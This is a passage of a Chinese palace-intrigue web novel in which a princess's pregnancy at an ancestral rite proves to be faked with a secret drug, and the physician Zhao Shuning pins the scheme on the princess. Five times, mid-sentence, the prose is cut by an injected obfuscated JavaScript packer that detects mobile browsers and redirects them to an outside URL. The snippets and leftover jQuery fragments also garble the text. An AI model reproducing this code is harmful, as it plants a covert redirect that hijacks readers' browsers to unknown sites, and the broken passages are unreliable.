萧晏清的面上瞬间笼上一层阴霾,拳头也握得咯咯作响。 众朝臣心中也生出诸多心思。 往年的献祭,一直都是六皇子,也就是如今的吴王,今年却变成了瑾王。 再想想这大半年来瑾王的表现,这两位,到底谁是最后的赢家,可真说不准。 萧晏辞身穿玄色冕服,衣襟和袖口绣着精致的十二章纹,腰间束一条朱红色大带,足下穿着一双赤舄。 玄色冕服衬得他身形挺拔,面容肃穆而沉稳,举手投足间尽显皇室威。 “不肖子孙萧晏辞,向列祖列宗献祭。” 所有人的目光都落在他的身上,陆知苒也看着他。 这一刻,她比任何时候都更加笃信,他必将是大齐朝天命所归的真龙天子。 德丰帝看着他,眸底满含欣慰。 萧晏清看着这一幕,早已嫉妒得发狂。 第194章 从未有孕 亲王献祭之后,便由礼部尚书进行终献礼。 最后,德丰帝接受祭品中的酒和肉,象征祖先赐福,饮福受胙。 每一道程序都沉闷冗长,但无人敢露出懈怠和疲倦之色,更无人中途离场。 终于到了撤馔环节,礼官将祭品撤下,表示祭祀结束。 皇上与百官再次跪拜,礼官诵读送神文,恭送祖先神灵归位,再将祝文焚烧,上大天庭,方为礼成。 德丰帝与众臣依次退出太庙,众人紧绷的心弦这才稍稍放松。 此桩仪式耗时又费力,但却是老祖宗延续下来的规矩,容不得半点岔子。 祭台两侧插着两个等人高的蜡烛,祭祀礼进行到此,蜡烛已然烧了大半,祭台上落满了烛泪。 就在众人缓步往外撤退之际,一只蜡烛忽而发出一声爆破,小臂粗的半截烛身被炸得四分五裂,火苗四溅。 萧婉贞怀着身孕,站了大半日腿早就软了,她便落在了最后头。 意外突发,一簇火苗飞溅到她的身上,受惊之下,她脚下一个不稳狠狠摔倒。 她捂着自己的肚子,发出一声痛苦的惊呼。 李贵妃一直在为德丰帝钦点了萧晏辞完成祭礼而耿耿于怀,心思本没有落在自己女儿身上,此时听到她的惊呼,才如梦初醒,快步上前。 “贞儿,你怎么样?有没有事啊?” 萧婉贞满脸惊慌,“母妃,儿臣的肚子好痛……” 李贵妃也慌了,这个孩子可是贞儿求了几年才好容易求来的,绝不能出半点闪失! 她也顾不得其他,高声大喊,“太医,太医,快来给贞儿看看!” 众臣也骚动起来。 德丰帝走在前头,没有听清楚究竟发生了何事,只听到吵嚷喧哗,眉头不禁蹙起,心头亦是升起一股不悦。 “太庙之地,岂能如此喧哗?” 宫人匆忙上前禀明情况,德丰帝的面色一沉。 礼部尚书面色白了几分。 萧晏清心里狠狠咯噔了一下,不是担心皇姐的孩子,而是担心自己被问责,毕竟,此次太庙祭祖之事,是由他负责的。 本以为祭祀完美结束,谁曾想,临了竟然又出了这么一个岔子。 烛火的问题是小事,但若皇姐因此掉了好容易怀上的孩子,那问题就大了。 “父皇恕罪,是儿臣办事疏漏,没能及时发现烛火的问题,惊扰了皇姐,儿臣罪该万死!” 礼部尚书和礼部一众官员也赶忙跟着请罪。 德丰帝原本的好心情笼上阴霾。 萧晏辞从旁开口,“父皇,还是先看看皇姐的情况如何吧,兴许只是虚惊一场。” 到底是自己女儿,德丰帝自然也不会不管不问。 萧婉贞被扶着小心坐下,已然有太医在给她诊脉,只是这太医左诊右诊,却半晌说不出个所以然来,反倒眉头紧锁,表情古怪。 德丰帝走上前,询问,“廖爱卿,如何?四公主腹中胎儿可有大碍?” 廖爱卿神色犹豫,“回皇上,微臣一时有些把不住,还请其他太医替公主请脉。” 这话让萧婉贞的脸色愈发惨白。 不过一个简单的滑脉,太医怎会把不准?他不过是不敢直说罢了。 她好不容易盼来的孩儿,难道就这么没了吗? 德丰帝面色一沉,“连个滑脉你都不会看了?那朕要你何用?” 廖爱卿慌忙跪地请罪,“皇上恕罪,微臣觉得四公主的脉象实在有些奇怪,是微臣才疏学浅,实在不敢断言。” 德丰帝心中也升起一丝疑惑,也便指派另一名太医上前把脉。 萧婉贞和李贵妃满脸紧张地盯着这位黄太医,谁料,他也露出了古怪的神色。 黄太医也迟疑着开口,“皇上,微臣也有些拿不准……” 这话一出,德丰帝就怒了。 “你们一个两个的,连个滑脉都拿不准,还当什么太医,索性直接回家种地去吧!” 廖太医和黄太医连忙跪地求饶。 “皇上,四公主的脉象实在古怪,微臣实在不敢随意断言……” 德丰帝怒喝,“是不敢断言,还是没本事?简直废物!” 萧晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162050|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞开口解围,“两位太医,你们有话直说便是,何必这般吞吞吐吐?” 两位太医互相对视,这才硬着头皮开口。 “微臣方才给公主请脉,发现公主的脉象平和,与常人无异,分明,分明并无身孕。” 萧婉贞摸着自己的肚子,满脸伤心欲绝。 “我的孩儿,就,就这么没了?” 李贵妃也难以接受,“贞儿就只是摔了一跤罢了,甚至没有见红,怎会滑胎了?” 廖太医摇头,“四公主并非滑胎,反而像是,像是从未怀过身孕。” 黄太医也跟着点头,“正是,这亦是微臣觉得古怪之处。” 萧婉贞的眼泪还挂在脸上,满是不可置信,“这怎么可能?简直荒谬!” 她都已经养了一个多月的胎,现在告诉她,她根本没有怀孕,简直是笑话。 当初给萧婉贞诊过脉的甄太医也站出来,“当初我与成太医都给四公主诊过脉,确实是滑脉无疑,怎么到了你们嘴里,我等倒是成了庸医了?” “对啊,廖太医,黄太医,你们未免太瞧不起我们了吧。” 大家都怀疑地看着廖太医和黄太医,两人顿时有种百口莫辩之感。 一个小小的滑脉,竟闹出这般多波折,德丰帝面沉如水。 “你们,都重新给四公主把脉,朕倒是要看看,一个小小的滑脉,还能难倒你们不成!若你们当真连这都争论不清楚,就全都把官服脱了,滚回家去!” 德丰帝发了怒,太医院众人唯唯诺诺,依次上前,给萧婉贞诊脉。 最先是甄太医,他原本十分笃信自己的判断,但一番诊断之后,他的眉头也不禁蹙了起来。 他没敢贸然开口,示意成太医上前。 成太医的反应与他如出一辙。 接下来,便是众太医依次诊脉。 直到最后一人诊断结束,都无人开口。 萧婉贞看着他们的这番表现,摸着自己肚子的手都不由一阵发紧,李贵妃心头亦升起一股不大好的预感。 “到底怎么回事?快说!” 第195章 谁是最大的受益者? 甄太医和成太医不敢开口,其他太医大着胆子道:“微臣方才诊断,四公主的脉象,的,的确不是滑脉。而且,四公主亦没有胎儿流产的迹象,就,就是寻常脉象……” 其余太医也给出了同样的诊断。 廖太医和黄太医终于松了口气。 大家的判断都如出一辙,那就不是他们的问题了。 甄太医和成太医齐齐跪下,二人此时已是汗流浃背。 “皇上恕罪,此前是微臣诊错了脉,微臣罪该万死!” 他们也糊涂啊,明明只是一个简单的滑脉,怎么就诊错了呢?而且还是两个人同时诊错,这其中定然有什么蹊跷! 但不管是什么蹊跷,这个罪名,他们只能捏着鼻子认。 他们的官途注定到头了,现在就只看能不能保下一条命了。 萧婉贞身子一软,瞬间连坐都坐不稳了。 她的脸色惨白,满脸皆是不可置信。 “怎么可能?这简直荒谬,我不相信,你们一定是在骗我!” 她盼了那么多年的孩子,她曾经那么欢喜,现在却被告知一切都是误诊,那她先前的欢喜算什么?简直就是个笑话。 “我明明怀上了孩子,怎么可能是假的?我这段时间分明日日都有孕吐,各种症状都与我当初怀兰姐儿时一模一样!你们诊错了,定然是你们诊错了,你们给我重新诊脉!” 萧婉贞的状态已然有些疯狂,德丰帝沉着脸训斥。 “好了!当着列祖列宗的面,这般大吵大闹,像什么样?” 萧婉贞脸上布满泪痕,“父皇,您要相信儿臣,儿臣明明怀上了的,怎么可能像他们说的那样?子嗣如此大事,儿臣岂会拿来开玩笑?” 德丰帝目光扫向众太医,“你们可都敢确定自己的诊断?” 众人笃定地点头,“微臣敢以项上人头保证,绝对没有诊错,四公主的脉象的的确确并无滑脉迹象。” 众口一词,德丰帝心中已然有了判断。 她的身孕,根本就是个乌龙。 的确有人诊错了脉,却不是这一次,而是上一次。 萧婉贞执拗地摇头,“不,不可能,一定不可能的,儿臣明明怀上了啊!一定是他们在说谎,统统把他们都砍了!” 德丰帝沉声呵斥,“住嘴!事实已然摆在眼前,你还要自欺欺人到什么时候?” 萧婉贞身子狠狠一抖,脸上的疯狂与执拗瞬间破防,变成了一股沉沉的死气。 她捂着脸,呜呜地哭了起来。 天知道她有多期盼这个孩子的到来。 这个孩子不仅是她在卢家重新站稳脚跟的关键,更让她对自己的身体重新燃起了希望。 但现在,一切都幻灭了。 她的孩子,竟然从未来过。 这一切竟然是一场乌龙?这简直是天大的笑话! 德丰帝看她这副模样,到底心中不忍,没有再出言呵斥。 他目光一转,又看向了甄太医和成太医,“你们二人,上次为何诊错了脉?是公主的脉象的确有异,还是你们收受了谁的好处,故意胡说?” 两位太医咚咚磕头,“皇上明查,微臣真的只是诊错了脉,绝对不敢故意胡说啊!” 德丰帝眸色幽深,“最普通的滑脉,怎会诊错?” “回皇上,并非微臣狡辩,实在是上次公主的脉象非常清晰,的的确确就像是滑脉,微臣现在都还没琢磨明白。” “正是,微臣也捉摸不透到底是怎么一回事。” 德丰帝看着他们二人,眸底染上几分异色。 究竟谁在说谎?若大家都没有说谎,那问题又出在谁的身上? 这时,萧晏辞站了出来,“父皇,儿臣想起一件事,不知是否与皇姐的身孕有关。” 大家都看向他,萧晏辞缓缓开口。 “此前,儿臣曾听南笙提起过一桩陈年脉案,先帝有一位嫔妃,为了嫁祸其他妃子,故意服用了一种秘药,让自己出现了足以以假乱真的滑脉。” “之后,她会再找合适的机会让自己意外滑胎,嫁祸到旁的嫔妃身上。太医就算诊出那妃子的脉象只是寻常,不似滑胎,但没有证据也不敢直言,如此,她的嫁祸便能顺理成章,屡试不爽。” 萧宝珠闻言,也觉得熟悉极了。 她也立马跟着附和, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162051|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对对,我也记得,阿笙的确说过有这种药!” 萧婉贞情绪激动地咆哮,“你们这话是什么意思?难道你们怀疑我故意设局,陷害旁人?我陷害谁?就为了陷害这两个太医?” 萧晏辞好言安抚,“皇姐稍安勿躁,臣弟并非此意,臣弟只是觉得此事蹊跷,这才想起了此事罢了。这两位太医的医术再不好,也不可能连滑脉都诊错吧?皇姐,您自己好好想想,你的身边有没有可疑之人?” 萧婉贞的面色惊疑不定。 难道,她真的被人下了药?可究竟谁会给她下这种药? 萧晏辞提醒,“皇姐若实在想不出眉目,不若反过来**。你若误以为自己怀孕了,对谁最有好处?最大的受益者,便是最可疑之人。” 她怀孕了,谁是最大的受益者? 萧婉贞脑中思绪几番回转,将自己的身边人一个个过了一遍,最后,她想到了某个人,瞳孔猛地放大。 “是赵书宁!一定是她!” 赵书宁来给自己调养身子,没多久,她就怀上了。 而且,早不怀,晚不怀,偏偏在那外室和野种进门的当口怀上了。 这个孩子的到来,让她免于一顿责罚,也让卢家人重新摆正了对她的态度。 正是因此,她对赵书宁分外感激,也越发器重,毫不吝惜地给了她一大笔赏赐。 受益最大的人,除了她还能有谁? 之后,她只需要随便找个机会,就能让自己这个莫须有的孩子滑胎。 届时,大夫诊脉时就算发现了自己脉象上有些端倪,只怕也会以为是自己诊错了,不敢直说,就算大夫说了,她定然也不会相信。 就似方才,若非今日刚好所有太医都在,大家都诊出了同样的结果,她如何会信?只怕到死,她都不知道自己被对方戏弄了一把。 李贵妃闻言,面色也微微一变。 赵书宁的确是最有可能做这件事的人,她不仅有这个动机,更有这个能力。 萧婉贞越想越笃定自己的猜测,“定然是她所为,父皇,她竟然胆大包天到敢给儿臣下药,您一定要替儿臣做主啊!” 第196章 不见棺材不掉泪 时隔许久,再次听到这个名字,又是与这等腌臜事牵扯不清,德丰帝的眼底闪过一抹厌恶。 “来人,去把赵书宁给朕带来,再去把蒋老太医一并请来。” 蒋老太医年事已高,并未参加今日的太庙祭祖,现在却不得不请他走一趟了。 楚定峰的双腿开始打摆子,楚翊安的手心亦不受控制地冒出冷汗。 这件事究竟是不是她做的? 楚翊安心中其实有一个清晰的答案,是,她做得出这样的事来。 为达目的,她可以无所不用其极。 这就是她的本性。 楚翊安的心悬在了嗓子眼,紧绷到了极致。 若那女人当真做了这蠢事,该怎么办?侯府会不会受到牵连? 时间在这一刻被拉得很长。 赵书宁今日眼皮一直在跳,心头也莫名发慌。 难道太庙祭祖发生了什么变故? 就算如此,也牵扯不到她的身上。 她刚这么安慰自己,就有一行御林军闯进了宣平侯府,直奔青黛阁而来。 赵书宁的心头一紧,心中那块悬着的巨石,终于轰地一声坠了地。 一路上,她都试图从御林军口中打探消息,但对方嘴巴很严,她一无所获。 到了太庙,见到了殿内的情形,对上萧婉贞那**般的目光,她心中的猜测终于得到了验证。 赵书宁战战兢兢地叩拜行礼,“臣妇拜见皇上。” 萧婉贞怒气冲冲地起身,一副要撕了她的架势。 “**!你究竟对我做了什么?” 赵书宁脸上露出惊讶与困惑之色,“公主,您此言何意?臣妇有些不明白。” 萧婉贞指着她怒骂,“你还在装傻?你究竟对我用了什么药你心里不清楚吗?” 赵书宁满脸惶恐,“公主,臣妇一直给您用的都是养胎的方子,那方子绝对没有任何问题,您若不信,臣妇现在就可以把方子写出来,请在场的太医查验。” 李贵妃声音冷沉地开口,“方才太医院的所有太医给贞儿诊脉,都说贞儿压根没有怀上身孕,先前之所以会出现误诊,盖因她误服了一种秘药的缘故。赵氏,你可知道这是怎么一回事?” 赵书宁的手心微微冒汗,果然是此事暴露了。 那秘药,除了她,就只有另外一个人知道,陆知苒! 当初做出这个决定时她也曾有过犹豫,但她自认为自己能在事发之前把那莫须有的孩子处理掉。 但萧婉贞格外珍惜那孩子,一直大门不出二门不迈,她找不到机会下手。 而今,此事猝不及防地爆发了。 是她低估了陆知苒的敏锐。 但,空口白话,无凭无证,她岂会承认? 便是刀子架在了她的脖子上,只要他们没有拿出实证来,她也不会承认。 赵书宁满脸不可置信,“这,怎么可能?一个人的脉象怎能轻易改变?更何况,公主不仅脉象是滑脉,其他表征也与怀孕一模一样,这如何作得了假?” 李贵妃逼视着她,“这么说,你也从未听说过此事?” 赵书宁笃定地摇头,“臣妇闻所未闻。” 李贵妃目光锐利地在她的身上扫视,不错过她脸上一丝一毫的表情变化。 赵书宁面上不见半分心虚之色,李贵妃都不禁开始怀疑,是不是自己误会了她。 陆知苒却知道,赵书宁就是这样的人,她撒谎成性,不见棺材不掉泪,便是见了棺材,她也能想尽一切办法替自己开脱。 萧婉贞怨毒地盯着赵书宁,“我不相信,这件事除了你,没人有机会去做!” 赵书宁一脸苦笑,“公主,这是掉脑袋的大事,臣妇图什么?” “自然是为了得到我的重用与赏识!” 赵书宁欲言又止,萧婉贞见此,越发激动,“被我说中了,无言以对了吧!” “公主,恕臣妇直言,您的重用与赏识,还不足以让臣妇甘愿冒这么大的风险去做这件事。” 萧婉贞气得眼珠子都瞪大了。 “你,你这话是什么意思?” “臣妇这话虽然不好听,但的的确确是实话。光是为了得到您的赏识,还不足以让臣妇赌上自己的脑袋。” 德丰帝锐利地审视着她,赵书宁后背早已被冷汗打湿,面上却不敢露出半点端倪。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162052|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谎最大的境界就是连自己都能骗过去。 她可以紧张害怕,但绝不能心虚。 她一开始就知道此事的风险有多大,但她是一个赌徒。 她今日所得到的一切,很大一部分原因,靠的都是能豁出去的胆气。 任何事情,瞻前顾后,就会失去先机。 哪怕现在,她也并不后悔自己做了这个决定。 她唯一后悔的,是自己应该及早出手解决掉这个“孩子”,不然现在,也不至于会陷入如此被动的局面。 德丰帝缓缓开了口,“贞儿,此事,你可有实证?” 萧婉贞摇头,“儿臣没有证据,但肯定是她做的,父皇,您快下令处死她!” 她的双目充血,满是恨意。 她要为这场笑话找到一个罪魁祸首,只有严惩这个罪魁祸首,才能平息自己心头的恨意。 赵书宁重重叩首,语气铿锵有力,“皇上,臣妇敢对天发誓,从未做过此事,请皇上还臣妇一个公道。” 萧晏辞从旁提醒,“一个人只要做过任何事,总会留下证据。父皇,儿臣方才让御林军顺便在她的院子里搜查了一番,现在应当搜出结果了。” 赵书宁闻言,心头一阵发紧。 还不待她深想,御林军就回来了,“回禀皇上,属下在赵氏房中的暗格中搜出了一个药方。” 赵书宁闻言,面上神色终于出现了破绽。 德丰帝接过药方看了一眼,自是什么都看不出来。 恰在这时,蒋老太医到了。 德丰帝直接把那药方交给他,“蒋爱卿,你来看看这方子,可有何问题?” 蒋老太医眯着眼睛看了半晌,缓缓摇头,“微臣惭愧,此前从未见过此方。” 听了这话,赵书宁悬着的心这才缓缓放了下去,紧握的双手也终于松开。 但紧接着,他又缓声道:“但今日,经瑾王提醒,微臣在孙儿的札记中翻找到了一个方子,与此方十分相似。” 赵书宁瞳孔猛缩,一股十分不好的预感袭遍全身。 而此时,楚定峰和楚翊安早已面无人色。 那个毒妇,果然又要给楚家招来祸端! 第197章 赵书宁的后手 蒋老太医拿出了一本厚厚的札记,缓慢翻开,翻到了某页,上面的笔迹已然陈旧,字迹也透着稚嫩,因为当时写下这些的人,不过是个尚未长成的“少年”。 蒋老太医看着那稍显稚嫩的笔迹,眸底满是骄傲。 “南笙翻阅了蒋家先祖留下的所有医书札记,从浩瀚的书海中提取了零碎的线索,拼凑出了此方,此乃宫中贵人制**孕所用!这两个方子虽略有不同,但主要成分一模一样,微臣斗胆断言,两个方子的功效一致,并无差别。” 这话如同一锤定音,瞬间敲碎了赵书宁先前所有的狡辩,她的后背彻底被冷汗打湿。 她万万没想到,远在千里之外的蒋南笙,竟然会给自己带来这致命一击。 萧婉贞高声怒吼,“你个**,还有什么好说的?枉费我这般信任你,你竟敢如此欺瞒我,你简直罪该万死!” 赵书宁面容凝滞,一时说不出话来。 蒋南笙是个神童,这一点大家都曾有所耳闻。 但却是第一次如此直接地直面这一点。 能从数十年的医书中提取讯息,推断出这个方子,这岂是一般人能做到的? 唯恐旁人再生质疑,蒋老太医继续道:“微臣已然命人把他提到的医书都从书库中抬了来,只要给微臣足够的时间,定能寻根溯源,验证此方的真假。” 德丰帝翻看那厚厚的札记,看着那上面详述的方子,眸中满是惜才之意。 “不必再验证,就冲着这厚厚的札记,朕信他!” 此子不仅有天赋,更有常人所不及的刻苦,如此人物,方是朝廷所需的栋梁之材。 德丰帝目光凌厉,扫向赵书宁。 “赵氏,你敢对公主用这种下作的药,谁给你的胆子?” 赵书宁声音艰涩,“皇上,臣妇还有话说。” 萧婉贞再次狂躁怒吼,“你个毒妇,还有什么好说的?父皇,您定要处死她,替儿臣出气!” 赵书宁抬眸,迎上了萧婉贞的目光,眸中没有惧意,反而透着一丝古怪。 “公主,臣妇还要说什么,您心里不应当很清楚吗?” 萧婉贞冷笑,“你这话是什么意思?事到如今,难道你还能再编排出什么骗人的鬼话来?” 陆知苒眸色微沉了几分。 赵书宁还有后招! 果然,她缓缓开了口,“臣妇自然不敢再说假话,更不敢再有半分欺瞒。公主,这件事,臣妇的确不无辜,但是,真正的主导者,不正是您自己吗?” 众人闻言,俱是露出惊诧之色。 萧婉贞也惊得瞪大了眼,她不可置信地伸手指着自己,“你说什么?我自己?” 她气笑了,“你在说什么风言风语?” 赵书宁的表情很镇定,更带着一股豁出去的决绝。 “臣妇有没有说假话,公主心里一清二楚。若非没有公主的授意,臣妇便是有十个胆子,也不敢如此胆大妄为。” 萧婉贞有些恼怒,“你个**,事到临头竟敢往我头上泼脏水,你以为大家会信了你的鬼话吗?” 赵书宁自顾自地开口,“公主嫁入卢家,只生了一女,多年都再无所处,偏在这时,您发现了卢驸马私养外室,还有了一个私生子。卢家把那对母子接回了卢府,您意识到到他们威胁到了您的地位,唯有此时怀孕,方能稳住局势。是以,您找到了臣妇,让臣妇替您筹谋了这一场戏。” 众人听着这番话,俱是倒吸凉气,看着萧婉贞的目光亦带上别样的意味。 萧婉贞难以置信地瞪大了眼,这番话,前因后果都说得合情合理,如果她不是当事人的话,她只怕都要信了! 眼见大家都用异样的目光看着她,萧婉贞急了。 “你简直一派胡言!一个区区外室子,怎会让本公主自乱阵脚?” 赵书宁语气依旧镇定,“若是以往,您自然不可能会如此慌乱,但彼时您还不小心毁了卢小姐的容貌,卢家对您十分不满,不再顾及您公主的身份,所以您急了,这才出此下策。” 萧婉贞怒视着赵书宁,气得胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162053|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口上下起伏。 嘴巴这么会说,她怎么不去说书啊! “假的终究是假的,到最后,难道你真的能给我变出一个孩子来不成?我难道想不到这一点?怎么可能采纳如此愚蠢的做法?” 赵书宁缓声道:“真的孩子自然变不出来,但是假的,对于公主来说,却轻而易举。” 言外之意,便是弄个假的孩子来,偷梁换柱。 卢大学士卢文渊听到这儿,早就气得脸色发白,若非碍于萧婉贞乃堂堂公主,他定要直接破口大骂了。 德丰帝的脸色也不好看。 如此荒唐之事,若是真的话,那便是丢脸都丢到祖宗面前来了! 萧婉贞彻底忍不住,扑上去就要厮打赵书宁。 “你个**,敢胡说八道污蔑我,看我不撕了你的这张臭嘴!” 萧婉贞这番表现,落在众人的眼里,反倒成了恼羞成怒的反应。 便是李贵妃一时之间也有些昏了头,对自己女儿生不起信任来了。 赵书宁不敢反抗,任由萧婉贞厮打。 德丰帝面色阴沉,“好了,给朕住手!” 宫女上前把二人分开,萧婉贞却依旧不解气,要冲上去厮打。 德丰帝怒吼,“你看看你这副样子,像什么样!” 萧婉贞动作僵住,心头升起一股深深的委屈。 “父皇,儿臣没有做那些事,儿臣是被冤枉的,是这个**污蔑儿臣!” 赵书宁被撕扯得有些狼狈,但她依旧跪得笔直。 “皇上,臣妇有证据。” 萧婉贞满是气急败坏,“你,你有什么证据?我从未指使过你做这些事,你哪儿来的证据!” “公主,当初您向臣妇讨要主意的时候,让臣女给您留下了那药方,不是吗?那药方,现在想来还藏在您的屋中吧。” 药方?她何曾讨要说什么药方? 对上赵书宁那幽沉的目光,萧婉贞心里咯噔一下,同时,一个不详的猜测慢慢笼上心头。 这**,只怕早就给自己留了后手! 第198章 生命力顽强得可怕 赵书宁的确留了后手。 她是赌徒,却不是冲动无脑的赌徒。 她要赢,就要做好万全的准备。 就算有可能输,也不能让自己输得一败涂地,再无翻身的可能。 此事败露,若全落在她一人头上,她必死无疑。 若拉上萧婉贞这个公主分担火力,她或许还能捡回一条命。 只要还有一口气在,一切就都还有机会。 人**,那就半点希望都没了。 萧婉贞慌乱地连连摇头否认,“没有,我没有讨要过什么药方,定是你偷偷藏在我的屋子里,是你陷害我!” 赵书宁低下头,“臣妇贪生怕死,不得已将公主供出来,请公主见谅。” 萧婉贞从慌乱变成愤怒,“你个**,你以为凭你一面之词就能污蔑我?父皇岂会信你?” 李贵妃也跟着开口,“皇上,贞儿不是这样的人,定是这赵氏胡乱攀咬。” 德丰帝面容微沉,一时没有说话。 孙皇后缓声开口,“皇上,臣妾也相信贞儿不会做出这样的糊涂事。” 孙皇后都开口替萧婉贞说话,德丰帝的面色稍缓。 她紧接着又道:“赵氏今日当众攀咬贞儿,皇上若不彻查清楚,只怕日后贞儿的名声也要受到损毁。” “皇后以为如何?” “既然赵氏口口声声称贞儿私藏了那方子,不若便派人搜查一番,若搜不出那方子,便是这赵氏信口雌黄,如此胆大包天之人,当从重处理,以儆效尤。” 德丰帝沉吟,觉得孙皇后这话的确在理。 此事已然闹开,若不彻查清楚,就这么稀里糊涂的,反倒更会引人猜忌。 更何况,眼下是在太庙,列祖列宗都看着,德丰帝就更要做个公正严明的表率,万不能在祖宗面前堕了威名。 德丰帝当即派出心腹,前往萧婉贞的院中搜查。 李贵妃见此,心头莫名生出几分不安。 萧婉贞的脸色难看,眼神恍惚,更让李贵妃心头忐忑。 难道,贞儿当真做了这糊涂事? 搜查需要时间,众人都累了,德丰帝开恩,让众人稍作休息,唯有赵书宁依旧跪在大殿中央,背脊挺直,一动不动。 楚翊安深深地看着她,眼底染上一丝厌恶。 她为何总是这般自作主张?她做这些事的时候,就没有想过东窗事发,会给侯府带来怎样的灾难? 他的面容紧绷,双拳握得咯咯作响。 陆知苒也在看她,赵书宁似有所感,抬眸,直直与她目光对上。 赵书宁的面色很冷,眸光带着一股凌厉与挑衅。 这次是她栽了,但别得意太早,只要她还有一口气在,迟早,总会把这笔账还回来。 陆知苒收回目光,心头升起一股莫名的复杂。 赵书宁此人,生命力顽强得可怕。 她的心性和斗志乃常人所不及,是一个难缠的对手。 这一次,是他们低估了她。 但她就算侥幸侥幸捡回一条命,也定要狠狠脱一层皮。 小半个时辰,搜查的御林军回来了。 “皇上,这是属下从公主卧房的匣子里搜到的。那匣子上了锁,属下是用刀劈开的。” 德丰帝接过,看了一眼,眸底立时染上阴沉与晦暗。 这方子,俨然与从赵书宁房中搜出来的一模一样,便是字迹也如出一辙。 他狠狠一甩,“你自己看看。” 萧婉贞看了一眼就用力摇头,“儿臣根本从来没有见过这方子!定是赵书宁那**伺机藏在儿臣的房里!” 德丰帝恼怒,“你的匣子上了锁,她如何打得开?” “她诡计多端,说不定什么时候偷了儿臣的钥匙。” 赵书宁苦笑,“公主身边心腹众多,臣妇如何有这本事偷得到您的钥匙?就算臣妇偷到了,您的屋中装匣那么多,臣妇又如何分得清哪把钥匙对应的是哪个匣子?” 萧婉贞一时语塞。 她也想不通,难道,她的身边人竟然也背叛了她? 这怎么可能? 到底是怎么一回事? 萧婉贞的脑子变成了一团浆糊,根本理不清思绪。 然而,她陷入了一个误区,那张方子,并非一定需要打开匣子才能放进去,只要把方子折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162054|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠好,从中间的缝隙塞进去,自然毫无破绽。 而赵书宁选的那匣子表面上落满了灰,可见是许久不曾打开过,短期内,她也不会担心会有人发现那方子。 卢文渊再也忍不住,扑通一声重重跪地。 “皇上,自公主嫁入卢家之后,微臣自认为待公主客客气气,没有半点亏待。即便公主多年未曾诞下嫡长子,微臣也不曾说过半句。岂料,公主竟生了这等心思,打算混淆皇室和卢家的血脉!微臣斗胆,今日便是逾矩,也要向皇上讨一个公道!” 说完,他便重重叩首,没多会儿,额头就磕出了血。 德丰帝立马出言安抚,“卢爱卿,你这是做什么?快快起来,朕会给卢家一个交代。” 卢文渊半推半就地被扶了起来。 萧婉贞彻底慌了,连连摇头否认,“父皇,儿臣没有,儿臣没有做过这件事,请您一定要相信儿臣!” 德丰帝满脸怒容,众人看她的眼神也带上了深深的怀疑,便是李贵妃,眼中都露出了厌弃与恼怒。 她既然有这个计划,为什么不提前与自己商议?还这般不小心,留下这么大的把柄!当真是愚蠢! 今日这般场合,她闹出这么大的丑事,连带着晏清也要受她的牵连! 李贵妃气恼之下,扬起手就狠狠给了她一记耳光。 “你个蠢货,竟敢拿子嗣开玩笑,谁给你的胆子!” 萧婉贞被打懵了,呆呆地捂着脸,不可置信地看着李贵妃。 “母妃,儿臣没有,儿臣都是被那**陷害的!难道连您也不相信儿臣吗?” 李贵妃的眸底闪过一抹痛心,“证据都摆在眼前,母妃要如何相信你?” 她相不相信不重要,重要的是,皇上已经开始怀疑了。 